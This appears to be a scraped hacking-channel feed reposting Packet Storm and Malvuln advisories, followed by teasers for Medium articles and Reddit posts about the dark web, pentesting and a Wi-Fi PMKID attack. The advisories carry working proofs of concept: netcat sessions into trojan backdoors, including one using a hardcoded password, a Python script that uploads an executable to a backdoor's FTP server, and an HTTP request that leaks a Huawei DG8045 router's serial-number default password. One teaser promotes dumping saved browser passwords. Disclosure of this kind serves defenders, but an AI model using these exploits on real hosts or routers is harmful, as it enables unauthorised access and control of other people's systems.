Exploit Collector
Trojan-Dropper.Win32.Krepper.a Remote Command Execution

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
Trojan-Dropper.Win32.Krepper.a malware suffers from an unauthenticated remote command execution vulnerability.

MD5 | ebe8a752fba6d3fd9e8be74440cd9068

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ee699b4055c6199f9826681797d64f0b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Krepper.a
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 10002 and drops several executables under Windows dir. Third-party attackers who can reach infected systems can connect to port 10002 and run commands made available by the backdoor to retrieve information etc
Type: PE32
MD5: ee699b4055c6199f9826681797d64f0b
Vuln ID: MVID-2021-0260
Dropped files: svchost.exe, sysini.ini, msto32.dll, mserv.exe
Disclosure: 06/23/2021

Exploit/PoC:
nc64.exe x.x.x.x 10002
C:\WINDOWS
C:\WINDOWS\system32

PROC
[System Process]
System
smss.exe
csrss.exe
wininit.exe
csrss.exe
winlogon.exe
services.exe
lsass.exe
fontdrvhost.exe
fontdrvhost.exe
svchost.exe
svchost.exe
dwm.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
Memory Compression
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
spoolsv.exe
svchost.exe
WmiPrvSE.exe
dasHost.exe
svchost.exe
svchost.exe
etc...
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
rConfig Shell Upload

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan-Dropper.Win32.Juntador.a Weak Hardcoded Password

https://1.bp.blogspot.com/-q1b99IBpI9c/WWlu5sPD0hI/AAAAAAAAIJI/No13BTu40mUIIhRH8r1ULckiDMJCd7zkQCLcBGAs/s1600/h106.png
Trojan-Dropper.Win32.Juntador.a malware suffers from having a weak hardcoded password.

MD5 | f0715f4b553050bdd7473912150acf94

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/f28e866ce2f99013a66b015f6a7f31a8.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Juntador.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP ports 7826 and 13013 and drops executables under the Windows dir. Authentication is required for remote user access. However, the password "sexjerx sexjerx" is weak and hardcoded in plaintext within the executable.
Type: PE32
MD5: f28e866ce2f99013a66b015f6a7f31a8
Vuln ID: MVID-2021-0259
Dropped files: winvxd.exe, IntelMouse.exe
Disclosure: 06/23/2021

Exploit/PoC:
nc64.exe x.x.x.x 13013

pwd sexjerx sexjerx
psychward revised 0.1, awaiting your command
dir
<.
<..
<0409
12520437.cpx (2151)
12520850.cpx (2233)
@AudioToastIcon.png (308)
@EnrollmentToastIcon.png (330)
@VpnToastIcon.png (404)
@WirelessDisplayToast.png (691)
aadauthhelper.dll (154624)
aadtb.dll (954880)
AboveLockAppHost.dll (252928)
accessibilitycpl.dll (3804160)
accountaccessor.dll (215552)
AccountsRt.dll (363520)
AcGenral.dll (2393600)
AcLayers.dll (372224)
acledit.dll (9216)
aclui.dll (5388800)
acppage.dll (68096)
AcSpecfc.dll (471552)
ActionCenter.dll (261632)
ActionCenterCPL.dll (541184)
ActivationClient.dll (30720)
ActivationManager.dll (444928)
activeds.dll (222720)
activeds.tlb (112128)
ActiveSyncProvider.dll (1546752)
actxprxy.dll (261632)
AcWinRT.dll (33792)
acwow64.dll (38400)
AcXtrnal.dll (87552)
AdaptiveCards.dll (38400)
etc...
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Huawei DG8045 Authentication Bypass

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
Huawei DG8045 ships with a default password that is the last 8 character of the device's serial number listed on the back.

MD5 | a2bc8233cbc356dd39974accb8f25338

Download
# Title: Huawei dg8045 - Authentication Bypass
# Date: 2020-06-24
# Author: Abdalrahman Gamal
# Vendor Homepage: www.huawei.com
# Version: dg8045
# Hardware Version: VER.A

#POC:

The default password of this router is the last 8 characters of the
device's serial number which exist in the back of the device.

An attacker can leak the serial number via the web app API like the
following:

************************Request************************
GET /api/system/deviceinfo HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.1/
X-Requested-With: XMLHttpRequest
Connection: close
************************Response************************
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Date: Thu, 24 Jun 2021 02:07 GMT+2
Connection: Keep-Alive
Content-Language: en
Content-Type: application/javascript
Content-Length: 141

while(1); /*{"DeviceName":"DG8045","SerialNumber":"21530369847SK9252081","ManufacturerOUI":"00E0FC","UpTime":81590,"HardwareVersion":"VER.A"}*/
You can use that serial number last 8 char/digits to login to the router.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.ReverseTrojan.200 Authentication Bypass

https://2.bp.blogspot.com/-MVgbYjy2n8E/WWlvDeDSliI/AAAAAAAAIK0/xNViOH31E8QoNbofn2xwVueZLLEvjlYYACLcBGAs/s1600/h130.png
Backdoor.Win32.ReverseTrojan.200 malware suffers from an authentication bypass vulnerability.

MD5 | d2b4c0a1bc954a4816174b3c63e1635f

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3fbec7c0623f5f80e4d9c096a50b0d59.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.ReverseTrojan.200
Vulnerability: Authentication Bypass Empty Password
Description: ReverseTrojan by satan_addict listens on TCP ports, 12000 and 21. The malware accepts empty credentials for authentication as the default settings are set to blank. Third-party attackers who can reach an infected host can potentially gain access to the machine before or if no password is set.
Type: PE32
MD5: 3fbec7c0623f5f80e4d9c096a50b0d59
Vuln ID: MVID-2021-0256
Disclosure: 06/23/2021

settings.ini

[wsc]
vernfo=2.00b2
scurl=http://satanzcrew.no.sapo.pt
newsurl=http://satanzcrew.no.sapo.pt/news/news.txt
[socket]
port=12000
[ftp]
port=21
user=
pwd=
[show]
intro=OFF

Exploit/PoC:
nc64.exe 192.168.18.127 21
220 REVERSE TROJAN by satan_addict FTP Server ready.
USER
331 Password required for .
PASS
230 User logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,127,196,208).
CDUP
250 CWD command successful. "C:/" is current directory.
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *

MALWARE_HOST="192.168.18.127"
#192*256 + 208
PORT=50384
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("Backdoor.Win32.ReverseTrojan.200 / Authentication Bypass Empty Password")
print("MD5: 3fbec7c0623f5f80e4d9c096a50b0d59")
print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Stealing Saved Browser Passwords: Your New Favorite Post-Exploitation Technique

https://cdn-images-1.medium.com/max/613/1*iw_LJiyym_gnR40iT6oSIA.jpeg
Learn how to dump passwords from common browsers for post-exploitation and lateral movement

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to get into Cyber Security in your BE/B.Tech

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What To Study For Cyber Security ( Ethical Hacking )

https://cdn-images-1.medium.com/max/700/1*1FxN_sU2jAvU1yjIR9As9Q.jpeg
SO this article is Straight forward about what learn for Cyber Security

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
D3FEND: catálogo de técnicas defensivas de ciberseguridad de MITRE.

https://cdn-images-1.medium.com/max/1459/0*YYMmfiR06GXpG0UF
POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Human/Animals Deep Web experiments - fake story?

https://m.facebook.com/story.php?story_fbid=709870242864818&id=246143389237508

Hear you guys are prime debunkers so help me out here. This Facebook page claims the FBI in 2017 shut down a human/animal experiment page - complete with “human centipede” dog experiments and all that stuff.

True or false? Has anyone heard this story anywhere reputable? Or is this another dark web myth?

submitted by /u/dylstan
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Is it safe download any free. sofwares .cheats for games .games from tore ??

submitted by /u/Old-Hovercraft-6407
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Cocospy

Does it work ?

submitted by /u/ComedianNo3193
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Question on vulnerability scanning during a pentest.
https://www.reddit.com/r/Pentesting/comments/o793tm/question_on_vulnerability_scanning_during_a/

I understand the need for vulnerability scanning during a pentest, but do you also typically request client credentials to run authenticated vulnerability scans? I see that this will provide better and more accurate results but is this asking for too much from the client? I feel like it doesn't make it a true pentest anymore? Anyone have any insight on this? submitted by /u/mountainhacker1 (https://www.reddit.com/user/mountainhacker1)
[link] (https://www.reddit.com/r/Pentesting/comments/o793tm/question_on_vulnerability_scanning_during_a/) [comments] (https://www.reddit.com/r/Pentesting/comments/o793tm/question_on_vulnerability_scanning_during_a/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Wireless Penetration Testing: PMKID Attacks

IntroductionPMKID attack was developed by Team Hashcat. Unlike the traditional handshake capture method (4- way handshake), this method does not wait for a client to re-authenticate. PMKID is directly captured in these attacks and then cracked. This attack works on WPA and WPA2 protocols and recent studies have shown a little to no success in WPA3 and is far more resilient to PMKID attacks. Let’s understand the basics of Wireless Networks first and then we’d have better understanding of PMKID.Table of Contents1. Open System AuthenticationOpen System AuthenticationOpen System Authentication (OSA) is a process by which a computer can gain access to a wireless network that uses the Wired Equivalent Privacy (WEP) protocol. With OSA, a computer equipped with a wireless modem can access any WEP network and receive files that are unencrypted.Shared Key Authentication.Shared Key AuthenticationIt is a method of authentication in WEP in which both the client and server have access to a key beforehand. This key is nothing but the Wi-Fi passphrase (password).WPA and WPA2 (PSK)Pre: We’ll only be talking about PSK authentication here in WPA2 in Unicast mode (AP to client 1 on 1 communication)dynamically generate new key for each packet. Also, WPA2 includes a mandatory support for CCMP protocol, based on AES. Let’s talk about the authentication in WPA/WP[...]

___________________________
@hacking_Attack
@Hacking_Video

A2.Pre-Shared Key. PSK is 256 bits in size and is derived like this:Pre-Shared Key = PBKDF2_SHA1 (Wi-Fi password (passphrase) + Wi-Fi SSID, Length of SSID + 4096 iterations of SHA1)PBKDF2_SHA1 is just an example hash function which can be customized too.In WPA2 PSK, the Pre-Shared Key is the same as Pairwise Master Key (PMK).This PSK is not usedto encrypt data in each packet. Encryption keys are derived from PSK in this method and has other variables to it. The encryption key used to encrypt all of the data in transit between a client and an Access Point (Unicast) is called as Pairwise Transit Key (PTK).So, PTK = PSK or PMK + Anonce + Snonce + MAC (authenticator) and MAC (supplicant)Here, 4 Way handshakeIn layman terms, while authentication, some source keying material is turned into data encryption material which eventually can be used to encrypt data frames. This process of turning source keying material to data encryption material is called as a 4-way handshake. As we saw above, both the client and authenticator (access point) know the PSK (aka PMK). But the PMK is not used to encrypt the data and a PTK has to be derived using PMK.Client (aka Supplicant) PTK Creation: AP (aka Authenticator) PTK Creation: PMKID)Creation of group keys and transfer by AP to Supplicant: Confirmation of installation of keys: Supplicant confirms to authenticator that keys have been installed.___________________________
@hacking_Attack
@Hacking_Video